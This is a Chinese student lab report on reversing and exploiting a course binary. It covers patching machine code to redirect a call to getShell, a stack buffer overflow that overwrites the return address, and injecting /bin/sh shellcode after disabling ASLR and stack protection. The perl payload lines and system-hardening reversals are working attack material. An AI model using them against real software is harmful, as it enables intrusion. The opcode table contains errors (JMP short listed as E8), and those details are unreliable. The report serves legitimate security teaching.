2019-2020-2 网络对抗技术 20175209 Exp1 PC平台逆向破解

一、实验任务

• 手动修改机器指令，改变程序执行流程
• 通过构造输入值，造成BOF攻击，从而改变程序执行顺序
• 注入shellcode并执行

二、问题回答

• 什么是漏洞，漏洞有什么危害？

  漏洞就是在计算机硬件、软件、协议、安全策略上存在的缺点。利用这些缺点，攻击者可以对计算机系统进行攻击，从而达到一定的目的。漏洞威胁了计算机的系统安全，给攻击者有可乘之机，可能引起经济损失、机密泄露、隐私暴露、数据篡改等问题。

• 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码

  NOP：90
  JNE：75
  JE：74
  CMP：38~3D
  JMP：

  JMP short：E8
  JMP near：E9
  JMP word：FF
  JMP far：EA

• 掌握反汇编器与十六进制编程器

  • 反汇编指令

    objdump -d <file(s)>: 将代码段反汇编;
    objdump -S <file(s)>: 将代码段反汇编的同时，将反汇编代码与源代码交替显示，编译时需要使用-g参数，即需要调试信息；
    objdump -C <file(s)>: 将C++符号名逆向解析
    objdump -l <file(s)>: 反汇编代码中插入文件名和行号
    objdump -j section <file(s)>: 仅反汇编指定的section

  • 十六进制编程器：是用来以16进制视图进行文本编辑的工具软件.
    • vim <filename> 以ASCII码形式显示可执行文件的内容
    • :%!xxd 将显示模式切换为16进制模式
    • :%!xxd 将16进制切换回ASCII码模式

三、实验任务

任务一 手动修改机器指令，改变程序执行流程

• 实验前先到之前设置好的共享文件夹下的pwn1复制到相应的实验文件夹下并对pwn1进行备份，备份为pwn1.bak
  

• 输入指令objdump -d pwn1 | more 对pwn1 文件进行反汇编
  

• 对反汇编的结果进行分析
  • 可以看到函数的地址为08048491 ，main函数中的call 8048491 <foo> 指令的机器码为e8 d7 ff ff ff ,下一条指令的地址为80484ba 。机器码中的0xffffffd7 = 0x080484ba - 0x08048491 为主函数执行位置和foo函数起始地址的差
  • 因此，想要让程序执行到getShell需更改call指令的机器码为相应地址的差，计算地址差为0x080484ba - 0x0804847d = 0xffffffc3
  • 输入指令vi pwn1 打开以ASCII码显示的文件
  • 输入指令:%!xxd 将文件转换为16进制查看

  • 找到d7ffffff 位置，输入i 进入插入模式，将d7修改为c3
    

  • 输入指令:%!xxd -r 将文件转化为ASCII码形式，保存并退出

  • 此时输入指令objdump -d pwn1 | more 查看，发现pwn1文件已经被修改了
    

  • 分别运行更改后的pwn1和备份文件pwn1.bak，查看相应结果
    

任务二 通过构造输入值，造成BOF攻击，从而改变程序执行顺序

• 通过反汇编指令查看foo函数中为输入预留的空间
  

• 计算出实现缓冲区溢出的字符数为28+4=32 指字节（4为EBP占用的内存空间），我们希望执行getShell函数，因此需要将getShell函数的地址放在返回地址（eip寄存器）处，即33~36字节，接下对猜想进行验证

• 我们在gdb中输入至少36字节的数据，可以看到给出了Segmentation fault 的错误提示，同时可以查看到eip寄存器的地址为0x34333231 ,验证了将getShell的地址放在33~36字节的猜想
  

• 我们将33~36字节的内容替换为getShell的地址，字符串以ASCII码输入，同时机器为小端法，因此应为\x7d\x84\x04\x08 前32字节可以任意输入

• 由于我们无法从键盘输入16进制的值，因此输入perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input 构造输入，我们可以通过cat和xxd指令查看我们构造的输入
  

• 通过管道符| ，输入命令(cat BOF.1; cat ) | ./pwn2 将构造的输入注入并运行，结果如下：
  

任务三 注入shellcode并执行

1. 确定构造buf的方法

   • linux中两种构造buf的方法：
     • retaddr+nop+shellcode 主要针对缓冲区小的情况
     • nop+shellcode+retaddr 主要针对缓冲区大的情况
   • 该任务中我们可以观察到缓冲区的空间并不是很大并不是很大，同时经过老师视频的讲解，我们可以确定应该是采用将shellcode放在后面的方法，因此直接对第一种方法进行测试，结构为：anything+retaddr+nops+shellcode

2. 准备工作

   • foo函数的局部变量不需要机器码，而我们需要将shellcoode注入缓存区，需先设置设置堆栈可执行
     • execstack -s pwn3 设置堆栈可执行
     • execstack -q pwn3 查询文件的堆栈是否可执行，结果为X表示可执行
   • linux系统为了防范shellcode的注入攻击，在多次运行程序时寄存器的地址会发生改变，因此需关闭地址随机化
     • more /proc/sys/kernel/randomize_va_space 查看随机化是否关闭
     • echo "0" > /proc/sys/kernel/randomize_va_space 关闭随机化
     • more /proc/sys/kernel/randomize_va_space 再次查看，结果为0证明已关闭
       

3. 构造payload

   • 参考老师给出的代码，我们首先构造一个input_shellcode

     perl -e 'print "A" x 32;print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

   • a终端中通过(cat input_shellcode;cat) | ./pwn3 运行pwn3

   • 在b终端中输入ps -ef | grep pwn 查看pwn3的进程号
     

   • 启用gdb调试并定位pwn3进程

   • disassemble foo 进行反编译，可以看到ret指令的地址为0x080484ae，在此处设置断点break *0x080484ae
     

   • 在a终端中按下回车运行， 程序执行到断点停止
   • 再在b终端输入c继续运行程序
   • info r esp 查看esp寄存器地址
   • x/16x 0xffffd2cc 以16进制形式查看0xffffd34c地址后面16字节的内容

   • 可以观察到0x01020304的地址为0xffffd2cc，因此shellcode注入位置（可以使最先出现0x90的位置）地址为0xffffd2cc+0x00000004=0xffffd2d0
     

4. 修改输入并实现shellcode注入

   • 修改注入代码的地址

     perl -e 'print "A" x 32;print"\xd0\xd2\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

   • 输入命令(cat input_shellcode;cat) | ./pwn3 运行发现shellcode注入成功
     

四、实验心得体会

       之前都是一直听老师讲课时提到了缓冲区溢出攻击，觉得这应该是是一个很有意思的东西，不过一直没能自己尝试一下。
       通过本次实验，我有机会自己能动手操作一下，心情还是很激动的。实际动手的过程中发现比想象中的还是有一点难度的，一些机器码和指令代码的规则已经忘记了，对于缓冲区的存入规则和栈帧也不是特别了解，在实验前根据老师所给的视频资料和码云连接先进行了学习，对缓冲区的大部分内容有了比较清晰的掌握，不过对部分的寄存器的使用还有一些困惑，也参考了一些资料。最终还是比较顺利的完成了这次实验。
       通过本次实验，我对缓冲区溢出攻击的原理有了更好的掌握，对栈空间的分配规则和漏洞的产生有了更好的了解，则也对自己的计算机防范积攒了更多的经验，后面还有很多攻击的实验，我也有很大的兴趣，相信自己能更好的完成。

五、参考链接

• 汇编指令与机器码对照表
• 反汇编指令介绍